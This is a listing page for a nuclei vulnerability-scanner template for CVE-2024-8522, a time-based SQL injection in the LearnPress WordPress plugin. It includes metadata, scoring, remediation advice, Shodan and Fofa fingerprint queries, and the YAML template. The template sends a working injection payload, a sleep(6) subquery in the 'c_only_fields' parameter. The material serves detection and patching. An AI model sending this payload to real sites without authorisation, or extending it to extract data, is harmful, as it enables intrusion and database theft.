CVE-2024-8522: LearnPress < 4.2.7.1 - SQL Injection
- Template: CVE-2024-8522
- Name: LearnPress < 4.2.7.1 - SQL Injection
- Description: The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
- Remediation: Apply the latest security patches and updates from the vendor to address this vulnerability.
- Severity: critical
- Authors: pdresearch, iamnoooob, rootxharsh
- Tags: time-based-sqli, cve, cve2024, learnpress, sqli, wp, wordpress, wp-plugin, vkev, vuln
- References: https://github.com/advisories/GHSA-3w3r-r6g6-w8x5, https://nvd.nist.gov/vuln/detail/CVE-2024-8522
- Cves: CVE-2024-8522
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-8522.yaml
- Digest: 4a0a00473045022100eb5833b0a4a15b51fe2d140e002937975ade425a42a67015caf99c081dd2c2e002202cca927e9bb1f2f01afdf3f1deb7d1f5909c40cf2f6494a403e3453a3ab55b5c
- Created at: 2024-09-21T14:37:25Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 794
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8522.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-89
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.62882
- Epss percentile: 0.99217
- Cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body="/wp-content/plugins/learnpress"
- Max-request: 4
- Product: learnpress
- Shodan-query: html:"/wp-content/plugins/learnpress"
- Vendor: thimpress
Products
| Product | Indexed | Url |
|---|---|---|
| thimpress:learnpress | yes | /v1/products/thimpress/learnpress |
Labels
- Name: LearnPress WordPress LMS Plugin - SQL Injection
- Impact: Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
- Remediation: Update to the latest version of LearnPress, above 4.2.7, where the issue is fixed.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-8522
- Not known: requirements
```yaml
id: CVE-2024-8522
info:
name: LearnPress < 4.2.7.1 - SQL Injection
author: pdresearch,iamnoooob,rootxharsh
severity: critical
description: |
The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
reference:
- https://github.com/advisories/GHSA-3w3r-r6g6-w8x5
- https://nvd.nist.gov/vuln/detail/CVE-2024-8522
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-8522
cwe-id: CWE-89
epss-score: 0.62882
epss-percentile: 0.99217
cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 4
vendor: thimpress
product: learnpress
shodan-query: html:"/wp-content/plugins/learnpress"
fofa-query: body="/wp-content/plugins/learnpress"
tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,vkev,vuln
http:
- raw:
- |
@timeout: 30s
GET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=6"
- "contains(content_type, 'application/json')"
- contains_all(body, 'id\":', 'name\":')
condition: and
digest: 4a0a00473045022100eb5833b0a4a15b51fe2d140e002937975ade425a42a67015caf99c081dd2c2e002202cca927e9bb1f2f01afdf3f1deb7d1f5909c40cf2f6494a403e3453a3ab55b5c:922c64590222798bb761d5b6d8e72950
```